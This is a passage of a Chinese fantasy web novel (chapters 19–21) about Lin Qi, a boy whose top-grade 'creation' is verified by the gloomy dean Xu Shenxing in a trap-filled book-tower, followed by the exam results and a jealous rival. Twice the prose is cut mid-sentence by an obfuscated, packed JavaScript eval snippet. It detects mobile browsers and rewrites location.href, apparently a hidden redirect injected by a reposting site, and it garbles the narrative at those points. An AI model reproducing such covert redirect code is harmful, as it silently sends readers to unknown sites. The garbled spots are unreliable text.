浇花?很好。 他怎么不顺便挖个坑把自己埋了。 主考官又叫了几个工作人员去请,都被许慎行搪塞回来,他没办法,只能亲自去请,这次却连造院的大门都没进去。 拖拖拉拉过了半个小时,林栖今天起得早,已经有点饿了。 主考官负手盘桓片刻,叹了口气,随即又堆起笑容,走到林栖面前。 “是这样的,你们许院长现在有点忙,我这边也不清楚他还要再忙多久,而且还有其他孩子等着考试,也不好一直拖着。不如这样吧,我先送你过去,等许院长忙完了手头的事,立刻就会处理你的事情。放心,我都交代好了,你只需要耐心等着就行。” 于是,林栖手里拿着一封“介绍信”,被主考官亲自送到了造院门口。 主考官仿佛害怕大门会咬人似的,站得几仗远,转身朝他挥手告别,“去吧,进去吧孩子,祝你好运。” 林栖看着眼前紧闭的造院大门:“……” 他试着敲了敲门,没人搭理。 林栖原地等了一会儿,把信塞进门缝,起身时,总觉得旁边少了什么。 这时就听后方传来一阵窸窣响动。 祈越站在几米外的一棵树上,朝院子看了一眼,右肩倚着树干,左腕一抬,“咻”地扔出一颗石子。 接着,他眯眼瞄准,又连着扔了两颗。 空气静了一瞬,下一刻,许慎行的声音好像激光炮一样从院子里轰了出来:“是谁干的!给我出来!” 林栖:“……” 现在逃跑还来得及吗? 祈越好似某种野生动物,从五六米的树上轻松跃下,走到门前,抬手,像驱赶小飞虫似的,把林栖往旁边撵了撵。 林栖刚朝旁边退开一步,门就开了。 许慎行板着一张脸踏出台阶,整个人像刚从冻土层里掘出来的,皮肤白得仿佛长着霉霜,在太阳底下随时都能尸变。 祈越迎着他的视线开口:“石头是我扔的,不好意思,第一颗没瞄准,砸到玻璃上了。” 林栖在心里把他的意思补充完整:后两颗瞄得很准,成功砸到了您的脑壳。 嗯……不是人话。 许慎行眸光锋锐,刀子似的,从祈越脸上划过,朝林栖看了一眼,又划回来,活动着手腕,阴涔涔地一笑—— “好,你砸的,很好,还有什么话想说吗?” 林栖在心里翻译,这句话的意思是:请你交代遗言。 19. 第 19 章 作为一件造物,祈越显然足够智能,能理解人类语言中的弦外之音。 许慎行让他说遗言,他直接更进一步,把后事给交代了—— 祈越指着槭树丛道:“那边风景不错,可以就地挖个坑,把我埋了。” 说完又扫了一眼许慎行脚下,“遗言在信封里。” 许慎行早就看见了这封信,只是不想搭理。他往脚下瞥了一眼,一脸“我倒要看看你们搞什么鬼”的表情,后退一步,弯腰拾起信封。 之前校方派人请他,只说考核方面遇到了一点难题,让他过去看看,没说具体情况。 他嫌弃地拆开信封,伸直手臂,把几张公文纸举得老远,仿佛纸是狗屎做的,臭不可闻。 目光匆匆扫过几行,却又骤然拉近,凝神片刻,脸色一变,当场“诈尸”。 许慎行脑子里点炮似的,崩出两个字—— 放屁! 胡扯!开什么狗屁玩笑! 学校那帮蠢货,说这小孩儿带了顶级造物考试?顶你个头的顶! 狗屎!脑子被驴踢了?! 自己放了屁不嫌臭,还上赶着来恶心他? 二十年前他就能把整部造物史倒背如流,了解每一位杰出造物师的独特风格。 眼前这个不知道是什么玩意儿的混账东西,根本就不可能是造物! 许慎行恨不得一脚一个,把门口两人踹飞,再杀到三号楼大骂三百回合,脸上表情却平静到近乎诡异,不带一丝戏谑,有一种赌咒发誓般的郑重—— 这、不、可、能。 但是—— 万一呢? 他的经验、理智、感受、直觉都告诉他,这件事就是放屁。 但万一呢? 哪怕只有千万分之一的概率,他也不敢赌。 别人都能错。 只有他不能错。 他是造物学院的现任院长,他要对过去和未来负责。 “你们两个,跟我来吧。”沉默许久后,许慎行终于开口。 造院教学楼是学城中最古老的建筑,经历过风霜雨雪,火海雷鸣,修修补补延续至今。 有些地方补得不能再补,破损处从老鼠洞变成狗洞,又敲敲打打改成拱门,依然没有推倒重建。 它像一只被这片丘陵抱了两百年的阿贝贝,每一个曾经短暂拥有它的孩子都为它打上新的补丁,却从没有人想要将它拆散。 因此,那种独特的质感才能保存至今。 教学楼背后藏着一个院子,位置十分隐蔽,大铁门上挂着警示牌,又落了重锁,明晃晃的生人勿近。 院子里只有一栋建筑,名叫“书塔”。 对学生来说,它是“鬼屋”加“吉祥物”,对老师来说,它是“祖宗”加“接力棒”——毕竟,要成为造院院长,条件之一就是得到书塔认可。 得到认可,才能进到书塔内部,查阅历任院长留下来的珍贵资料。 锁链发出“当啷”一声,许慎行打开铁门,带着两人进了院子。 这一路上,他只要一有机会,就会观察祈越,心里好像戳着一根弹簧,反复下压弹起,来来回回就是两个念头—— 这肯定不是造物! 可万一呢? 搞得心情起起伏伏,异常烦躁,拿根火柴在他脑子里划拉一下,都能直接点着。 院子里的杂草长得格外茂盛,许慎行踏上石砖小路,指着远处唯一的那栋建筑,跟两人介绍—— “这是我们院的书塔,少说也有两百岁了,既是古建筑,也是古造物。但凡弄坏一点儿,把你俩一起挖坑埋了也赔不起。所以管好你们的手,一块砖头也别乱碰。” 书塔本塔看起来并不像听起来那么珍贵,整栋建筑歪歪扭扭,墙砖花花绿绿,像是把一张百家被卷成了筒子,随手往地上一墩。 细看之下,书塔材质也很随意,墙面有生锈的金属也有磨平的木头,像是有人每天蹲在废品堆里扒拉,拼拼凑凑,修修补补,才攒出了这么一座小塔。 林栖面朝书塔,微仰着头,手指无意识地动了动。 风从书塔后方吹来,又扫过他的指尖,无形的气流仿佛带了温度和质感。林栖恍惚觉得,自己摸到了金属的薄韧和木质的温沉…… 许慎行观察两人反应,阴涔涔地一笑,“而且这位祖宗脾气不好,又很认生,你们第一次来,记住别惹它,也别乱说话。” 顿了顿,又道:“万一踩着陷阱也别乱哭乱叫。” 林栖慢半拍地回过神来。 什么祖宗? 他看向祈越,想知道自己听漏了什么,却发现对方正在看他,目光带着审视,不知道已经看了多久。 林栖下意识地低头看了一眼。视野中,手臂缠满细密的红线,就这么堂而皇之地暴露在阳光下,让人想起某位很著名的皇帝,不穿衣服就敢到处乱跑。 他知道别人看不见这些红线,可一旦被人盯着,又总觉得无所遁形。 祈越目光在他脸上停住,只说了两个字:“果然。” “什么果然?”林栖刚问完就有点后悔,祈越嘴里肯定吐不出什么好话。 “眼睛和脑子都是摆设——”祈越目光朝书塔方向一扫,“说是要找,真见了又认不出来。” 他这话说得没头没尾又没主语,完全莫名其妙,然而更莫名其妙的是,林栖居然能听懂。 两百岁的书塔……古造物……要找又认不出来…… 林栖再次看向那座歪扭扭的建筑,嘴唇微微抿了一下又张开,“这是林叙留下来的造物?” 祈越没回答,但林栖仿佛听见了两个字:废话。 后面甚至还带着回音——送到眼前都认不出来,你还找什么找? 林栖:“……” 虽然,他的确对造物一无所知,当时去店里找造物也只是为了立人设,但是…… 你怎么知道我认不出来? 又没写在脸上。 这时就听许慎行在旁边“哦”了一声,多少有些阴阳怪气,“你知道的倒是挺多。” 这算是回答了林栖的问题,但又没给出明确答案,显然是不太想提。 瑕疵出现在普通石头上——无人在意,出现在宝石上则令人惋惜。 匠人会对瑕疵切割清理,或者利用设计遮掩过去。 书塔确实是“那位”留下来的造物,这在院里不算什么秘密,只是一般没人会提。 如果有人主动在造院师生面前提起“林叙”这个名字,那多半不是为了学术讨论,而是故意找茬。 “那位”在两百年前一手创建造物学院,既是造物术的起-点,也是后世所有造物师的根源,但偏偏臭名昭著,是个人尽皆知的大反派、大坏蛋。 自从许慎行开始学习造物,听得最多的四个字就是“批判对待”,他的老师常说“骂归骂,学归学”“上梁不正,下梁不歪”。 他们这些造物师,对这种根源上的污点已经习以为常——反正擦也擦不掉了,只能忍着。 但每次提起“林叙”两个字,心里还是会有一种很微妙的情绪,说不清是怨怼还是惋惜。 只有真正了解造物的人,才能懂得当年那位校长有多惊才绝艳。 许慎行小时候问的最多的一个问题就是:“林校长真的是坏人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643457|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 第二多的问题是:“他为什么要做坏事?” 他问过父母,问过老师,问过同学,得到的答案很多,但没有一个是他愿意听的。 年幼不懂事时,他曾无数次设想—— 历史书是假的,林校长是被冤枉的。 一定是有人嫉妒他,所以才会陷害他。 咒术有那么多种,难道就没有一种可以控制别人做坏事吗? 林校长不是坏人! 肯定还有一个幕后黑手! 他曾为此化身儿童侦探,一头扎进历史书里,但看得越多就越沉默……林校长怎么好像真的是个坏人? 庭审记录里有林叙的亲笔证词,承认是自己亲手把学生变成了怪物。 许慎行还记得自己当时有多失望。 ……别说当时,即使到了现在,他也还是偶尔会想不开——在遇到学术难题解不了的时候、在被学生成绩气到想上吊的时候、在招生考试没人来的时候……他心里总会冒出一个五岁小男孩儿的声音,无比幼稚地说:如果林校长不是坏人该有多好? 他甚至在脑子里构筑了一个平行时空,想象那些坏事从未发生,林校长一直在学校待到头发花白,慈祥又和蔼地教出一代又一代的学生。 其中那些最优秀的学生会接过校长衣钵,把造院发扬光大……这样一来,到了他出生的年代,面对的就不是一堆残破古籍,而是一代代积累下的经验财富。 以他的平庸,大概没本事当上院长,但生在一个前路辉煌的时代,他还可以学得更多,走得更远。 或许,他也有希望亲手做出顶级造物,而不是像现在这样,对着一个完全不可能是顶级造物的混账玩意儿,为了一点点可怜的希望把外人带来书塔…… 许慎行在心里叹了一声,收起思绪,看向林栖,本就苍白的脸色越发阴沉。 “书塔可以鉴定造物,一般人不知道,也没这么大脸,今天我就为了你的‘顶级造物’破例一次。走吧,快点,早完早了。” 地面石砖和野花交错,通向一排狗啃似的台阶。 歪斜的橘色立柱之间拢着窄窄一道拱门。 许慎行抢先一步踏上石阶,语气平淡,“这边有几个陷阱,你们两个等一下,先别乱动。” 林栖老实停步,同时手往旁边一伸,薅住了仍在往前走的祈越。 祈越身后衣服绷紧,迈出去的步子悬空顿住,斜着视线朝他扫了过来。 林栖目不斜视,根本不看祈越,手却依然抓着他的衣服不放,仿佛人手分离,人是人,手是手,人对手的行为并不负责。 祈越有点无语。 前方,许慎行计算出了陷阱所在位置,像往常一样,打算直接把陷阱触发解除,结果一脚踩上,却无事发生。 许慎行:“?” 这不应该。 但他也没多想,毕竟书塔已经两百岁了,偶然抽风一下也很正常。 许慎行只是带着一点疑惑,叫身后两人一起上了台阶。 进门之后是一圈环形走廊,许慎行很熟练地在墙面一敲,打开机关,转动旋钮。 只听一阵有节奏的“咔咔”声响,右侧走廊尽头缓缓展开一道扶梯,台阶不断向前推进,一直延伸到几人脚下。 许慎行瞥向林栖,“楼梯是镜像,左边安全,你先过去。” 林栖很听话地转向左侧,结果刚走两步,就一脚踏空,掉了下去。 失重的一瞬间,他听到了许慎行的声音,依稀是一句很经典的脏话。 于是他想,他应该是踩到陷阱里了。 ……可他明明走了左边。 20. 第 20 章 周围一片漆黑。 失重感只持续了短短几秒,林栖被什么东西拦了一下,又被什么东西接了一下,开始沿着一道斜坡下滑。 按照常识,斜坡尽头应该就是陷阱。 脑中闪过刀尖林立的深坑和漆黑冰冷的水潭,林栖开始思考,如果自己掉进深坑,整个人扎在刀上拔不下来,那么伤口应该怎么恢复? ……保持这个姿势大概恢复不了,他得用两手撑着墙壁往前挪,先把自己切成均匀的薄片,吧唧吧唧掉在地上,然后才能穿过那些刀柄,重新拼成一个整的。 如果掉进水潭,被一群鳄鱼分着吃呢?分散在不同胃袋里的肢体又该怎么恢复? 可能需要鳄鱼先比一下谁吃得最多,少数服从多数,小块的肢体主动朝大块的肢体方向靠拢……先从吃得少的那只鳄鱼牙缝里挤出来,再钻到吃得多的那只鳄鱼嘴里。 嗯…… 如果这样的话,吃得少的鳄鱼反而会吐。 有点好笑。 周围太暗,林栖什么也看不见,但能感觉到,身下的斜坡转了几个弯。他在脑内勾画地形图,刚画到第三个转弯,就觉眼前光线忽然一亮。 身下再次一空。 接着听到闷闷一响。 等他适应光线回神,就见自己掉进了一个…… 一片……? 一张床上。 是的,床上。 一张又大又软的床。 好像刚烤好的戚风蛋糕,一按就瘪下去,抬手又蓬起来。 手感很好。 林栖保持着掉下来的姿势,半陷在柔软的床垫里,朝四下看了看。 房间不大,墙壁是浅浅的暖棕色,与其说是卧室,更像一个冬眠用的洞穴。 他想起一些绘本上的插图,水袋形的洞穴深埋地下,周围是深厚的,暖棕色的土层。 一只小动物穿着睡衣团在里面,与世隔绝。 特别有安全感。 片刻,头顶传来一点窸窣响动,天花板上露出一道圆形缺口,把一团东西丢了下来,正落在林栖面前。 那团东西很轻,落在床上就从一卷摊开成一片。 是一套……睡衣? 颜色浅灰,材质绵软,不带装饰,明显穿过洗过,看大小是成人尺码。 林栖疑惑地歪了下头。 不等他细想,天花板上又掉下来一个枕头,高矮合适,软硬适中,一看就很舒服。 林栖有点茫然。 如果他没记错的话,这好像是一个陷阱。 所以这个陷阱的作用原理是……高床软枕,让人睡死过去? 林栖观察片刻,把自己从床头挪到床尾。头顶那个“投递窗口”像是一盏追光灯,紧跟着他向前移动,间隔几秒,又往他面前精准投放了一只圆形抱枕。 接着还有一瓶汽水和几包饼干。 林栖刚好有点饿了,忍不住朝饼干袋子多瞄几眼,结果就注意到了边角处的生产日期。 ……饼干已经过期两百年了。 汽水也是。 当然不可能真的过期那么久,两百年是书塔的年纪,这些应该是配合陷阱做的道具。 如果有人吃完饼干之后才看日期,脸上表情应该会精彩。 所以这是那种整人用的陷阱? 林栖手里捏着一包饼干,从床上下来,走向旁边靠墙的一张书桌。 他脚步刚停,桌上的台灯就自动亮了。 紧接着又有什么东西掉了下来,啪叽一声砸在桌上。 ——是个本子。 很普通的样式,深棕色,不带图案,只在腰上绑了一道皮绳。 如果这也是整人道具,本子里可能会有机关,或者掉出几条虫子。 林栖刚想凑近观察,就听本子咳了两声,哑着嗓子开口:“别吃零食!” 林栖:“……” 谢谢,没打算吃。 毕竟已经过期两百年了。 奶白色的挂钟在墙上走动一格,本子再次开口,声音好似一只鸭子,嘎嘎叫道:“还有一个小时就吃饭了,现在吃了零食,等会儿还有肚子吃正餐吗?” 林栖看着它,眨了眨眼睛。 本子继续声讨:“现在都几点了?被子叠了吗?衣服洗了吗?教案做了吗?白天偷懒,晚上就得熬夜,明天又起不来,恶性循环下去作息永远都不会好!等等……你该不会还没起床吧?” 林栖:“……?” “不会吧……不会真的没起床吧?”本子用一种痛心疾首的语气持续唠叨。 从封皮上看,它像是那种没用过的老物件,又旧又新。 林栖盯着它看了一会儿,做好随时看见大虫子的心理准备,拿起本子,拆了皮绳。 绳子一松,说话声瞬间停了。 林栖随手把本子翻到中间一页,就见几行字很随意地写在纸页边角,跟上下左右都没对齐。 【白小梦,生日7.29,花生过敏,喜欢柠檬糖(三色小熊)】 【看书多,逻辑强,会吵架,暂定咒院(植院先上一年基础),过完生日家访,少说正事多拍马屁,别提咒字,多说植院——我们植院好啊,就是种花嘛,园艺嘛,不吵不闹,多适合小姑娘,斯斯文文陶冶情操】 文字最后画了一个眨眼吐舌头的笑脸。 翻过一页,依然是些很琐碎的记录—— 【+冬装两套,三套?膝盖手肘屁股加厚,厚厚厚厚厚……加牛皮,打钢板,你们有本事就把钢板磨穿给我看看!】 【小九记录8.17,172cm,35.12kg,竹竿都比你有肉,补吧,加餐,食谱……再想想,早饭先加两个鸡蛋,黄油煎←待定,好像有点腻?】 林栖没仔细看,直接翻到最后几页,这次看到纸上画了一堆乱七八糟的线条——竖向的折线和横向的同心圆,好像一捆树枝戳在毛线堆里。 画面空白处穿插着几行小字: 【好烦】 【不想干了】 【就该让山支山月来当这个校长】 校长? 林栖目光顿住,心里刚升起一点疑问,想再往后翻翻,就听一道喊声从远处传来—— “林栖!能听见吗!林栖——!听见说话!” 是许院长。 林栖立刻放下本子,顺着声音方向走到墙边,离得近了才发现,墙上原来有门,只是被一道和墙壁同色的帘子遮着,不仔细看不出来。 他掀开帘子,推门出去,外面是一条曲曲折折的走廊。 “林栖——!”许慎行还在喊他。 林栖应了一声,又想起什么似的,回头看了一眼,却见自己走出来的那道门消失了,背后只有一面光滑的墙。 他顺着走廊往前走,刚转过一个弯,就见许慎行朝他跑了过来。 许慎行停步时叉腰喘气,宽瘦肩膀有些打颤,一双眼睛几乎失去高光,仿佛一具僵尸被人吊着手脚跑了一场马拉松,整个尸都快风干了。 风干僵尸半死不活地抬着眼皮,盯住林栖,边喘边问:“你没事吧?摔疼了吗?骨折了吗?吓傻了吗?” 林栖摇头。 他没事,反而有点担心这位院长一口气提不上来,当场就把自己憋死。 “这祖宗……”许慎行大喘气,“不知道又闹什么,脾气,到处机关都,不正常,神经病一样,你跟着我,一步都,别乱走,跟好,走,先出去。” 林栖乖乖跟上。 走了一段,许慎行终于把一口气喘匀了,问林栖:“你刚才掉在哪儿了?” “一个……房间。”林栖很严谨地回答。 “房间?行吧,房间。”许慎行也没打算细问,书塔陷阱五花八门,而且经常推陈出新,遇到什么情况都不稀奇。 如果是本院学生误闯进来,最多被书塔捉弄一下,困在陷阱里饿上几顿,不会真的伤着,但林栖不是造院学生,严格来说算是“私闯”,许慎行怕他真的出事,所以才会一路跑着过来找人。 差点没把自己跑死。 林栖跟着许慎行一起出塔,一路还算顺利。 祈越等在石阶下方,见他出来,眸光朝他上下一扫,没说话。 许慎行让林栖在院子里等,自己带祈越去做鉴定,走之前还不忘威胁林栖,不要乱跑,也别靠近书塔,否则后果自负。 林栖听话地站在院子里等。 在他对面,两百年的书塔安静矗立,似乎也在等着什么。 临近正午,阳光穿过鸦羽般的睫毛,落进眼底时依然滚烫。 四下安静,只有风声。 眼前的世界随风轻摇,连带着心里也有什么微微摇晃,像是揣着一只空铁罐,被风一吹,四壁就发出回响,让林栖莫名想要抓住什么,扔进去,把它填成实心。 可是应该抓什么呢? 阳光下的一切似乎都离他很远。 不知过了多久,两道人影从书塔那边走了过来。 清瘦的少年身影像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643458|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔着一层透光的雾,面目有些模糊。 林栖手指在身侧轻轻抽了一下,听到许慎行说:“确实是顶级造物,署名也没问题。” 每个字都很清楚,听起来却又有些失真。 林栖有种很奇怪的感觉,好像自己只是一个角色,正演着一部属于别人的电影,周围一切都是影棚中的布景,阳光也只是顶棚上的射灯。 他抬眼望向天际,试图找到那个“顶棚”,却只看到了一点慵懒的云絮。 一个念头像沼泽中的气泡一样浮了上来,在胸腔中空旷回响——我到底是谁? 林栖仿佛站在一面反光的镜子前方,清晰看到了这一瞬间从内心深处涌上来的冲动——想在阳光下剖开这张人皮,看看里面到底藏着什么秘密。 脚步声落在石砖上,祈越走近过来,在一米之外停下。 同时许慎行的声音传来:“让你等着,又没让你晒着,过来,给你找点水喝。” 微风吹到额前,带着一点烘烤过的青草香,暗沉的沼泽退了下去,水面恢复澄清,气泡也被水波抹平。 射灯从天边消失,林栖缓缓眨了下眼,看向许慎行。 这位脸色很苍白的院长正在朝他招手,并拢的手指在阳光下带着反光,好像扇子一样扇出残影。 看得出来很急。 而且不太客气。 不客气有两种,不乐意客气和不需要客气。 林栖垂着眼睫,看了一眼脚下,朝许慎行走了过去。 许慎行把有树荫的位置让给林栖,走了几步忽然开口:“你父母是做什么的?” 林栖好像跟自己的腿脚不熟,走路的时候需要低头盯着,“开商店的,一楼卖杂货,二楼卖衣服……不过现在不一定,我都很久没回去了。” 许慎行点点头,目光不住朝林栖身上打量,仿佛在用眼睛淘金子,视网膜反复过筛,生怕错过一粒金沙。 他看过学生档案,林栖的这个“林”和林叙的那个“林”没有关系,出身普通人家,谈不上血脉天赋,父母也没从小培养。 但是除了姓林之外,他也实在想不出这个小孩儿还有哪里特别,居然能成功署名一件顶级造物。 这就好比文盲考试得了满分。 回到教学楼,许慎行拉着路过的学生借了几个硬币,从贩卖机里拧出两瓶汽水,一瓶塞给林栖,一瓶自己喝了。 冰凉的瓶身立刻起了一层水雾,捏在手里很舒服,林栖特意看了一眼标签,确定它没过期。 许慎行一瓶汽水已经喝完了,才发现林栖那边还没开始,他将瓶子夺回去,“咔”地一下撬开盖子又塞给他。 催道:“喝啊,别愣着。” 林栖捧起汽水,用一种仿佛0.1倍速的慢动作喝了起来。 急脾气看不得这个,许慎行抖了抖脚,心道这孩子真是……理论理论不行,操作操作不行,考试一塌糊涂,偏又是个“奇才”,能够署名顶级造物…… 说到顶级造物,那就更头大了,简直莫名其妙!不可理喻!顶级造物又不是蘑菇,下一场雨就凭空冒出来了! 造物师是谁?什么时候做的?为什么没有一点记录?过去这么多年藏在哪里?又为什么会突然出现? 这里面肯定有什么是他不知道的。 肯定有。 不行,他得问问观沄。 “走吧,路上慢慢喝。”许慎行朝林栖道,“我先送你去拿考试结果,顺便找你家长聊聊入学问题。” 许慎行脚步匆匆,刚从教学楼走到前院,就听有人叫了一声:“许院长好。” 声音年纪不大,是个学生。 但只要不是造院学生就不归许慎行管。 许慎行眼皮一耷,只当没听见,然而刚走两步,就有一声鹰隼长啸从前方传来。 华丽悠扬的尾音中,那学生道:“您好,我是傅明熙,已经通过了入学考试。” 许慎行顿住脚步,“哪个入学考试?补考结果出来了?我怎么记得没到时间。” “补考”两个字似乎有些刺耳,傅明熙摸了摸肩膀上的银色猎鹰,“别人我不清楚,但对我来说,结果只有一个,跟时间没关系。” 说话间,他瞥见许慎行身后跟了两个学生,其中一个依稀有点眼熟。 哦,想起来了。 这不就是观沄捡的那位零分天才? 傅明熙打量几眼,不甚在意地收回视线,在心里评价:废物。 既傻又呆,除了好看一无是处。 21. 第 21 章 林栖见许慎行有事要忙,默默往旁边挪了几步,刚站稳,余光一瞥,就见祈越跟他做了一样的动作。 两人一前一后,隔着一米距离,站在同一片树荫底下。细碎光斑摇晃着,从林栖头顶跑到祈越肩上,绕一圈又落在林栖脚下。 几米之外,傅明熙一身红色骑装格外惹眼,在阳光下像是刚淬过火。 他微扬着头,阳光浸透眼底,一脸的少年傲气,抬手轻抚,银羽猎鹰在他肩头展翅长鸣,羽毛如星辰浸染,熠熠生辉。 许慎行终于注意到了这只猎鹰,眼神好像点火似的豁然一亮。 好东西啊! 一百年前的大师作品。 他听见自己心跳快了几拍,内心有些波澜,但又不是很多。 大概一个人在一天里的震惊量是恒定的。他刚被顶级造物震撼过一次,当时的心情堪比十级地震配上超强台风,情绪被掏空了,再遇到两三级的余震已经感觉不到什么波澜。 哦不对,还是有波澜的——他刚走路走得有点急,汽水后劲儿晃悠上来,当即波澜壮阔地打了个嗝。 玻璃瓶的汽水就是劲儿大。 打嗝声在空旷的院子里显得格外嘹亮,虽然不如银鹰叫得那么悠扬高亢,但更有层次,气泡音好似一卷闷雷,自带混响。 画风对撞,萦绕在傅明熙周围的某种高贵气场顿时裂开,仿佛被人关了美颜滤镜。 林栖低头看了一眼自己手里的汽水瓶,默默抿起嘴唇。 傅明熙脸色一僵,微微向后偏头,依然看着许慎行,目光却不落在实处,仿佛面对一间满是灰尘的房间,找不到地方落脚。 片刻他道:“我听说,新生携带造物入学可以申请特别住宿,所以过来问问,应该找谁申请。” 许慎行从银鹰身上收回视线。 问住宿直接问到院长头上?到底是申请住宿还是申请表扬? 他经常因为这些小孩儿心思太过好懂而觉得无语,眼皮一掀,回道:“还能找谁?当然是找校长申请。” 傅明熙显然没想到会听见这种答案,迟疑反问:“校长?” “对啊,校长,他老人家既有时间又有文采,夸起人来八个小时不带重样。我有幸见过一次,两百斤的胖子,被他夸过之后,就这么原地飞起来了,气球一样,在天上一飘就是三天。” 许慎行说着,眯眼一笑,“你也去试试,记得提前换身衣服,你这衣服太紧,一吹气儿就崩了。” 傅明熙上个月刚满十二岁,虽然家境优渥,见识比普通孩子多了不少,但毕竟还是孩子,又是被家里捧着长大的,听到这话,隔了好一会儿才反应过来,许慎行是在变着花儿地骂他。 更可恨的是,这个老僵尸似乎完全不把他放在眼里,刚跟他说完话就扭头去看那个废物,招手让废物跟着他走。 傅明熙一身傲气像是烧热的金汤匙被冷水泼了,几乎当场就要冒烟。 他紧绷着一张眉目张扬的小脸,“许院长没去考试现场,可能不太清楚,我的银鹰评级是高级,不是中级,这场考试我是全场第一。” 许慎行带着林栖和祈越,在门前顿了一步,“第一?也不一定吧。” 什么意思? 傅明熙拧起眉头。 什么叫不一定吧? 他的银鹰是高级造物,出自名家,而且保存完好,其他人的造物最多只是中级。 这个第一名不给他还能给谁? 傅明熙皱着眉头,叫来保镖,把肩膀上的银鹰放回笼子,吩咐他们等着,转身走进教学楼里。 院里没什么人,他走了很长一段才找到一个挂着助教牌的年轻老师。 “打扰了,我想知道今天考试成绩出来了吗?是谁考得最好?” 年轻助教打量他的一身骑装,发出“啊~”的一声,顿时有种吃瓜吃一半看到瓜朝自己滚过来的愉悦,他刚刚还在跟其他老师八卦这次补考。 “成绩应该很快就出来了,但是‘考得最好’就很难说,毕竟前后考了三场,内容都不一样。” 年轻助教笑得意味深长,“不过没关系,成绩和排名不重要,不管怎么考,只要过了,大家进到院里都是一样的。” 傅明熙朝旁边撇了撇眼,满脸的不认同。 他凭什么要跟别人一样? 片刻,他又道:“听说今天考试出了两件高级造物,是真的么?” 助教明显有些意外,“有吗?没听说啊,你是听谁说的?” 傅明熙没回答,直接转身走了。 半小时后,校方公布考试结果。 主考官念名单时,林栖站在最靠边的位置,小小一只,不声不响,存在感十分稀薄,仿佛他不是一个活人,而是一棵盆栽。 然而考官话音刚落,他就从一棵普通盆栽,变成了一棵纯金盆栽,别说在角落里藏不住,就算晚上也会闪闪发光,哪怕挖坑埋了,也要被人掘地三尺。 没人想到林栖也能考上。 更没想到他是第一个被念的名字。 校方没明说,但所有人都知道,名单顺序就是考试排名。 考官念完林栖之后才念傅明熙,也就是说,傅明熙考了第二。 这人穿得花枝招展,扛了那么大的一只猎鹰过来考试,居然只得了一个第二? 有些学生早就知道自己考不上,纯粹是来走个过场,看傅明熙吃瘪比自己考上还要高兴,频频往后偷瞄。 傅明熙站在人群靠后的位置,和所有人都不挨着,傲然目视前方,既不看林栖也不看别人,脸上表情没有任何异常,仿佛早知道会有这种结果。 如果仔细观察,他嘴角的弧度甚至是向上的,眼神中也透着一丝嘲讽,仿佛在嘲笑其他学生没有脑子,居然预料不到考试结果。 当主考官念完名单,立刻有人对结果提出质疑。 总共只有四个名额,林栖占了一个,就要挤掉一个,自然有人不服。 傅明熙目视前方,听着各种声音从耳朵灌进脑子。 根本不需要看,他也能猜到别人脸上都是什么表情。现在所有人都在看着林栖,所有声音都在讨论林栖。 有什么可讨论的? 应该讨论观沄才对。 观家确实很有实力。 像这种老掉牙的家族,使劲翻翻家底,总能找出几件高级造物,没什么可奇怪的。 造物等级相同,排名自然不分先后,先念林栖无非是想讨好观沄。 这帮考官水平也就这样了。 其他人的看法更不重要,一群考不上的废物,物以类聚,废物就是喜欢废物。 等着吧,入学之后就能看出谁的造物更好。 小废物甚至不敢把他的破烂玩意儿拿出来给别人看,怎么?难道是怕闪瞎考官狗眼? 等等……考官在说什么? 顶级造物? 什么意思? 一片“哇”声在周围响起。 傅明熙没懂,嘈杂中,他终于转动视线,看向林栖。 一小时后。 白塔二区,管理员室。 房间不大,从墙壁到桌椅,一切都是纯白色的。 阳光透过天窗照在地面,似一张圆箔被平均切成四格。 一道清俊秀雅的人影站在桌边,手里拿着双棒雪糕,轻轻掰开,将西瓜色的半支叼在嘴里,薄荷色的半支喂给一只趴在桌面上的纯白小猪。 小猪脚边摆着一叠文件。 考试结果出来了,有个学生带着顶级造物,通过了校方补考。 有意思的是,这个学生姓林。 质地温润的手指在小猪头上摸摸,年轻男人嗓音含笑,“睡醒了吗?帮我查个学生。” 同一时间,造院,许慎行几乎成了一台人形点读机,走到哪里就被人点到哪里。 助教追着他问:“院长,院长,顶级造物是真的吗?您是已经见过了吗?长什么样?” 修复课老师凭借一身肥肉把他堵在走廊,“不用您说我也知道,特殊标记肯定是没有的,但风格呢?就凭您的第一感觉,觉得风格像谁?有没有可能是那一位的早年作品?” 史论老师不在学校,但是一连给他打了三个电话。 就连一向最迟钝的基础课老师也没放过他,“既然能署名顶级造物,肯定是有天赋的,是个什么样的学生?以前自学过吗?有作品吗?” 问到最后,许慎行烦了,干脆谁也不理。 他比所有人都想知道这件造物到底什么来头,但观沄只给了他一个店名,让他自己去查。 在他找到那家古董店时,人家门口直接挂着牌子关门歇业,唯一能抓到的店员正在街角和人下棋嗑瓜子,问什么都不知道。 他只好自报家门并留下联系方式,表示想跟店主当面谈谈。 消息很快传开,临近开学,不止老师好奇,高年级的学生也很好奇,到底是什么样的造物能和真人一模一样? 林栖就是在这种好奇中入学的。 从踏入校区开始,探究的视线就无处不在。 有的工作人员忙着忙着,忽然就会转头看他一眼,接着又若无其事地假装什么也没发生。 有的学生本来在他前面,走着走着行李箱忽然就“坏了”,于是停在路边,一边鼓捣轮子,一边盯着他看。 有些人会莫名其妙把东西掉在他旁边,再十分不经意地捡起来,顺便瞄他一眼…… 